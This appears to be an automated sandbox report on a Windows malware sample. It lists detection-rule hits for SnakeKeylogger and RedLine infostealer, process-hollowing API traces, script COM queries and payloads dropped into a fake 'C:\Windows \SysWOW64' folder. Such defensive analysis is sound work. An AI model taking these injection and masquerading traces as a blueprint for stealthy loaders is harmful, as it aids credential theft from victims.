Source: 11.2.liuuazhU.pif.2a996826.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d03772e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1d7f5570.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c760000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1d7f6478.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2ab30000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c560000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d036826.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c760000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d3a0000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.1.liuuazhU.pif.43d038.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.2bd64590.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c17772e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.476068.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.liuuazhU.pif.1e425570.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1c560000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1e425570.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.1.liuuazhU.pif.476068.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.2bd64590.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c176826.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2aa80000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1c560f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1c176826.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1e426478.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.3.liuuazhU.pif.28cff190.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d3a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1e454590.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.1.liuuazhU.pif.476068.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.1.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1d824590.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d3a0f08.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.3.liuuazhU.pif.1a55c2f8.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1e454590.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2aa80000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.liuuazhU.pif.1d036826.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.1.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.2a99772e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.1.liuuazhU.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.Uhzauuil.PIF.20f96fd8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.3.liuuazhU.pif.1b37a088.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2ab30000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.Uhzauuil.PIF.20f5dfa8.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.3.liuuazhU.pif.28cff190.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.1.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.3.liuuazhU.pif.1a55c2f8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 10.2.Uhzauuil.PIF.20f5dfa8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.1.liuuazhU.pif.43d038.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.liuuazhU.pif.43d038.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.1.liuuazhU.pif.43d038.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.2.x.exe.215607b8.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000011.00000001.2046847022.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000B.00000002.3116443932.000000002AA80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.3116343465.000000002A956000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.3118421537.000000002BD31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000011.00000002.3109591892.000000001C560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000011.00000002.3109192607.000000001C136000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000003.1986218044.0000000028CFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.3110746880.000000001E421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000011.00000002.3111207326.000000001D7F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.3089643523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000006.00000003.1856725712.000000001B37A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000011.00000003.2056284697.000000001A55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000011.00000002.3089641728.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000006.00000002.3108782055.000000001CFF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000B.00000002.3116923850.000000002AB30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.3089721536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000006.00000002.3109265688.000000001D3A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000001.1853843841.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000011.00000002.3110271485.000000001C760000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.3111442150.000000001F8A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: liuuazhU.pif PID: 1856, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: liuuazhU.pif PID: 5640, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: liuuazhU.pif PID: 5956, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

PE file contains section with special chars

Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .
Source: NETUTILS.dll.1.dr	Static PE information: section name: .

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E82CC NtReadVirtualMemory,	1_2_027E82CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EE064 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	1_2_027EE064
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E853C NtUnmapViewOfSection,	1_2_027E853C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E7A2C NtAllocateVirtualMemory,	1_2_027E7A2C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EDEF8 Rt,RtlDosPathNameToNtPathName_U,NtDeleteFile,	1_2_027EDEF8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EDF80 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	1_2_027EDF80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E8C28 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	1_2_027E8C28
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E7D78 NtWriteVirtualMemory,	1_2_027E7D78
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E7A2A NtAllocateVirtualMemory,	1_2_027E7A2A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027EDEA4 Rt,RtlDosPathNameToNtPathName_U,NtDeleteFile,	1_2_027EDEA4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027E8C26 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	1_2_027E8C26
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_029982CC NtReadVirtualMemory,	16_2_029982CC
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_0299E064 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	16_2_0299E064
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_0299853C NtUnmapViewOfSection,	16_2_0299853C
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_02997A2C NtAllocateVirtualMemory,	16_2_02997A2C
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_02998C28 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_02998C28
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_02997D78 NtWriteVirtualMemory,	16_2_02997D78
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_029985C8 NtUnmapViewOfSection,	16_2_029985C8
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_02997A2A NtAllocateVirtualMemory,	16_2_02997A2A
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_0299DEA4 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_0299DEA4
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_0299DEF8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_0299DEF8
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_0299DF80 RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose,	16_2_0299DF80
Source: C:\Users\Public\Libraries\Uhzauuil.PIF	Code function: 16_2_02998C26 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_02998C26

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027E8654 CreateProcessAsUserW,

1_2_027E8654

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\svchost.pif	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Windows \SysWOW64\NETUTILS.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows \SysWOW64	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

File deleted: C:\Windows \SysWOW64\svchost.pif

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 1_2_027D20C4	1_2_027D20C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00408C60	6_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_0040DC11	6_2_0040DC11
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00407C3F	6_2_00407C3F
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00418CCC	6_2_00418CCC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00406CA0	6_2_00406CA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_004028B0	6_2_004028B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_0041A4BE	6_2_0041A4BE
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00408C60	6_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00418244	6_2_00418244
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00401650	6_2_00401650
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00402F20	6_2_00402F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_004193C4	6_2_004193C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00418788	6_2_00418788
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00402F89	6_2_00402F89
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_00402B90	6_2_00402B90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_004073A0	6_2_004073A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_1CFC15C8	6_2_1CFC15C8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_1CFC0F20	6_2_1CFC0F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_1CFC0F10	6_2_1CFC0F10
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20186565	6_2_20186565
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018EDD0	6_2_2018EDD0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20181A08	6_2_20181A08
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20185F38	6_2_20185F38
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018BB90	6_2_2018BB90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018B3E0	6_2_2018B3E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018E810	6_2_2018E810
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018A850	6_2_2018A850
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018DC90	6_2_2018DC90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20189CC0	6_2_20189CC0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20185D18	6_2_20185D18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018D110	6_2_2018D110
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20185570	6_2_20185570
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20185580	6_2_20185580
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_201819F8	6_2_201819F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018AE18	6_2_2018AE18
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018E250	6_2_2018E250
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018A288	6_2_2018A288
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018D6D0	6_2_2018D6D0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_201896F8	6_2_201896F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018CB50	6_2_2018CB50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018BB79	6_2_2018BB79
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2018B3D1	6_2_2018B3D1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2019D2E8	6_2_2019D2E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2019EBF0	6_2_2019EBF0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20190033	6_2_20190033
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20190040	6_2_20190040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D11420	6_2_20D11420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D121F8	6_2_20D121F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1F570	6_2_20D1F570
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1E388	6_2_20D1E388
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D15FA0	6_2_20D15FA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D170E0	6_2_20D170E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1BCE8	6_2_20D1BCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D148A0	6_2_20D148A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D17C50	6_2_20D17C50
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D17C60	6_2_20D17C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1C868	6_2_20D1C868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D15420	6_2_20D15420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1A028	6_2_20D1A028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D159E0	6_2_20D159E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1A5E8	6_2_20D1A5E8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D18DA0	6_2_20D18DA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D16560	6_2_20D16560
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1F569	6_2_20D1F569
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1B168	6_2_20D1B168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1D698	6_2_20D1D698
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D176A0	6_2_20D176A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1C2A0	6_2_20D1C2A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1C2A8	6_2_20D1C2A8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D14E60	6_2_20D14E60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D19A68	6_2_20D19A68
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D18220	6_2_20D18220
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1CE28	6_2_20D1CE28
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D187E0	6_2_20D187E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D15F90	6_2_20D15F90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1ABA8	6_2_20D1ABA8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1E379	6_2_20D1E379
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D19360	6_2_20D19360
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D14718	6_2_20D14718
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D16B20	6_2_20D16B20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_20D1B728	6_2_20D1B728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010040	6_2_21010040
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_210120BC	6_2_210120BC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010728	6_2_21010728
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2101DD60	6_2_2101DD60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010E10	6_2_21010E10
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010033	6_2_21010033
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010724	6_2_21010724
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_2101ABDC	6_2_2101ABDC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21010E0D	6_2_21010E0D
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 6_2_21174AD1	6_2_21174AD1
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00408C60	11_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_0040DC11	11_2_0040DC11
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00407C3F	11_2_00407C3F
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00418CCC	11_2_00418CCC
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00406CA0	11_2_00406CA0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_004028B0	11_2_004028B0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_0041A4BE	11_2_0041A4BE
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00408C60	11_2_00408C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00418244	11_2_00418244
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00401650	11_2_00401650
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00402F20	11_2_00402F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_004193C4	11_2_004193C4
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00418788	11_2_00418788
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00402F89	11_2_00402F89
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_00402B90	11_2_00402B90
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_004073A0	11_2_004073A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2A6B0F20	11_2_2A6B0F20
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 11_2_2A6B0F10	11_2_2A6B0F10
